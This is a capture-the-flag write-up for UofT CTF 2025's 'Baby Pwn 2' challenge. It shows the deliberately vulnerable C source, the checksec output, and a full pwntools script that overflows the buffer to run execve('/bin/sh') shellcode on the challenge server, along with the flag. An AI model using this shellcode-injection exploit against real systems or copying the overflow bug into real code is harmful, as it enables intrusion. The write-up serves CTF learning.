UofT CTF 2025
Baby Pwn 2 [100 pts]
Here’s a baby pwn challenge for you to try out. Can you get the flag?
nc 34.162.142.123 5000
Author: atom
We’re provided the binary along with the source file:
#include <stdio.h>
#include <string.h>
void vulnerable_function()
{
char buffer[64];
printf("Stack address leak: %p\n", buffer);
printf("Enter some text: ");
fgets(buffer, 128, stdin);
}
int main()
{
setvbuf(stdout, NULL, _IONBF, 0);
printf("Welcome to the baby pwn 2 challenge!\n");
vulnerable_function();
printf("Goodbye!\n");
return 0;
}
checksec
output:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
NX
is disabled –> implies shellcode is likely the solution.
We also have a simple buffer overflow of 128 bytes read into the 64 byte buffer
. And we’re given a stack leak of the address of buffer
.
Basically, we can just write shellcode into buffer
, and then overwrite saved RIP with the address of buffer
that was leaked by the program. Then, the program will jump to our shellcode instructions in buffer
, and run whatever we want!
For the shellcode, we can create a pretty simple one to call system("/bin/sh\x00")
(null-terminated because that’s how C interprets strings!).
Here’s the exploit:
#-----------RIP OFFSET------------#
# send(cyclic(128, n=8), b': ')
# p.interactive()
# exit()
#--------------LEAK---------------#
p.recvuntil(b': ')
buffer = int(p.recvline(), 16)
#--------------WIN----------------#
offset = cyclic_find('jaaaaaaa', n=8)
payload = bytes(asm('''
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp
mov rsi, 0
mov rdx, 0
mov rax, SYS_execve
syscall
'''))
payload = payload.ljust(offset, b'\x00')
payload += p64(buffer)
send(payload, b': ')
And we get the flag!
uoftctf{sh3llc0d3_1s_pr3tty_c00l}
Full script:
# Useful references:
# https://gist.github.com/anvbis/64907e4f90974c4bdd930baeb705dedf
from pwn import *
import sys
import os
#---------HELPER FUNCTIONS---------#
def get_leak(before: bytes, end: bytes=b'\n') -> int:
p.recvuntil(before)
return int(p.recvuntil(end).decode('ascii')[:-1], 16)
def send(payload: bytes, before: bytes=b'', line: bool=True) -> int:
payload = payload + (b'\n' if line else b'')
if before == b'':
p.send(payload)
else:
p.sendafter(before, payload)
#---------SETUP---------#
args = list(map(lambda s: s.upper(), sys.argv))
_libcs = list(filter(lambda s: 'libc.so.6' in s, os.listdir()))
_lds = list(filter(lambda s: 'ld' == s[:2], os.listdir()))
elf = ELF("baby-pwn-2") #------TODO------#
libc = _libcs[0] if len(_libcs) else elf.libc
ld = _lds[0] if len(_lds) else None
context.binary = elf
context.log_level = "DEBUG"
gdbscript = '''
#
'''
if 'REMOTE' in args:
p = remote('34.162.119.16', 5000) #------TODO------#
else:
p = process([elf.path])
gdb.attach(p, gdbscript=gdbscript)
###################################
#==========BEGIN EXPLOIT==========#
###################################
#-----------RIP OFFSET------------#
# send(cyclic(128, n=8), b': ')
# p.interactive()
# exit()
#--------------LEAK---------------#
p.recvuntil(b': ')
buffer = int(p.recvline(), 16)
#--------------WIN----------------#
offset = cyclic_find('jaaaaaaa', n=8)
payload = bytes(asm('''
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp
mov rsi, 0
mov rdx, 0
mov rax, SYS_execve
syscall
'''))
payload = payload.ljust(offset, b'\x00')
payload += p64(buffer)
send(payload, b': ')
###################################
#===========END EXPLOIT===========#
###################################
p.interactive()
p.close()
# uoftctf{sh3llc0d3_1s_pr3tty_c00l}